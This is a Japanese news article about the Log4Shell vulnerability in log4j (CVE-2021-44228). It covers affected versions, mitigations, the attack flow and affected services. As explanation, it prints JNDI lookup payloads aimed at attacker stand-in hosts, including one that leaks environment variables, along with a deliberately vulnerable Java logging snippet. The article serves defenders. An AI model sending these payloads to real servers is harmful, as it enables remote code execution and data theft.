12月9日、著名な Java ロギングライブラリである log4j でゼロデイエクスプロイトが発見されたことが Twitter で公開された。含まれるのは 2.0から 2.14.1 までのすべてのライブラリのバージョンが影響を受ける。Log4j 2.15.0 がリリースされ、この脆弱性はなくなった。GitHub で公開された POC が指摘したように、log4j が攻撃者によって制御された文字列値をログに記録すると、リモートコード実行 (RCE) が発生する。
log4j のコントリビューターは、迅速にマージし修正が利用可能になることを保証するために動員された。Log4j 2.15.0 はすでに Maven Central で利用可能であり、すべてのユーザは可能な限り直ちにアップグレードすることが推奨される。すぐにアップグレードが不可能な場合の別の回避策は、log4j2.formatMsgNoLookups システムプロパティを true に設定して Java アプリケーションまたはサーバを起動することだ:
java -Dlog4j2.formatMsgNoLookups=true -jar myapp.jar
このプロパティは、2.10.0 より前の log4j のバージョンでは使用できない。これらのバージョンのユーザがすぐにアップグレードできない場合、次の2つの戦略が使用できる: 「すべてのロギングパターンレイアウトでロギング構成ファイルの %m の代わりに %m{nolookups} に修正する」または「クラス org.apache.logging.log4j.core.lookup.JndiLookup を脆弱性がないか空の実装に置き換える。これには、クラスの脆弱性のあるバージョンをクラスローダによって置き換える方法がある」
Lunasec によるレポートでは、6u211、7u201、8u191、および 11.0.1 より上のバージョンの JDK で実行されているサーバは、com.sun.jndi.ldap.object.trustURLCodebase がデフォルトで無効になっているため、LDAP RCE 攻撃ベクトルの影響を受けない。つまり、JNDI は LDAP を使用してリモートコードベースをロードできない。別のオプションは、クラスパスから JndiLookup クラスを削除することだ。
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
ただし、Veracode の Michael Stepankin 氏によって報告されたように、RCE を引き起こす可能性のあるこの脆弱性を標的とする別の攻撃ベクトルがある。DataStax の OSS コントリビュータでありシニアソフトウェアエンジニアである Lari Hotari 氏も、このニュース記事以前のバージョンについて、LDAP を介した RCE 攻撃が後の JDK バージョンで防止されたとしても、環境変数 (例えば ${jndi:ldap://${env:user}.xyz.collab.com/a}) のような他の攻撃を使用して log4j の脆弱性を使用して機密情報が漏洩する可能性があるとコメントしている。したがって、アプリケーションが前述のバージョンの JDK で実行されているとしても、直ちに対応することが推奨される。
このエクスプロイトは、CVE-2021-44228 で識別され、俗に知られている Log4Shell で、Java Naming and Directory Interface のコードの欠陥を次のように利用している:
- ユーザがサーバにデータを送信する (TCP、HTTP、またはこれを許可する他のプロトコル)
- サーバは、log4j を介して、リクエストに悪意のあるペイロードを含むデータをログに書き込む:
${jndi:ldap://malicioussite.com/exploit}(攻撃者により制御されたサーバである malicioussite.com) - log4j の脆弱性がトリガされ、サーバは JNDI を介して malicioussite.com にリクエストを送信する
- レスポンスには、サーバプロセスに注入されるリモート Java クラスファイルへのパスが含まれている
- 注入されたペイロードにより、仮定の攻撃者は任意のコードを実行できる
また、コードに変換すると:
import org.apache.log4j.Logger;
import java.io.*;
import java.sql.SQLException;
import java.util.*;
public class VulnerableLog4jExampleHandler implements HttpHandler {
static Logger log = Logger.getLogger(log4jExample.class.getName());
/**
* A simple HTTP endpoint that reads the request's User Agent and logs it back.
* This is basically pseudo-code to explain the vulnerability, and not a full example.
* @param he HTTP Request Object
*/
public void handle(HttpExchange he) throws IOException {
string userAgent = he.getRequestHeader("user-agent");
// This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
// The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
log.info("Request User Agent:" + userAgent);
String response = "<h1>Hello There, " + userAgent + "!</h1>";
he.sendResponseHeaders(200, response.length());
OutputStream os = he.getResponseBody();
os.write(response.getBytes());
os.close();
}
}
Java と log4j 使用の遍在性とエクスプロイトの機能を考えると、影響は甚大であり、すべてのユーザがすぐに対処する必要がある。多くの Tor ネットワークから脆弱性を悪用しようと Web 上で実行されるスキャンの数が増加している。同様の脆弱性では、過去に悪用され Equifax データ侵害のようなデータ侵害に至った。
さまざまなスキャンが Web で実行され、影響を受けた既知のサービスの中には、Steam、Apple iCloud や 1.8.8 以降のバージョンで影響がある Minecraft などのアプリケーションが見つかった。Snyk のシニア開発者アドボケイトである Brian Vermeer 氏は、Snyk ブログで、Apache Struts 2、Apache Solr、および Apache Druid がすべて影響があると報告した。影響のあるオープンソースプロジェクト (Paper など) の間でパッチ適用が開始された。
log4j のような単純と思われたライブラリの人気により、多くのクラウドサービスとアプリケーションが影響を受ける可能性がある。影響が非常に深刻だった2017年の Equifax データ侵害の場合のようにだ。それでも、CVE-2021-44228 の場合はコミュニティは集結して、意識を広めることを助け、緩和のプランと修正さえも提供した。
Red Hat のオープンソースソフトウェアエンジニアである Gunnar Morling 氏は、プロジェクトのソースコードで脆弱な log4j バージョンをこの先の使用を禁止する Maven Enforcer ルールのサンプルを提供した。Hotari 氏は Log4Shell 緩和テスタを提供した。いくつかの個人や組織も Cybereason などのパッチを提供しているが、これらのコミュニティの修正を適用する前にデューデリジェンスを実施するべきだ。
このニュース記事は、LDAP RCE 攻撃ベクトルの影響を受ける JDK バージョンを修正し、追加情報を追記するため、標準時 12月12日の午前10時30分と午後17時30分に更新された。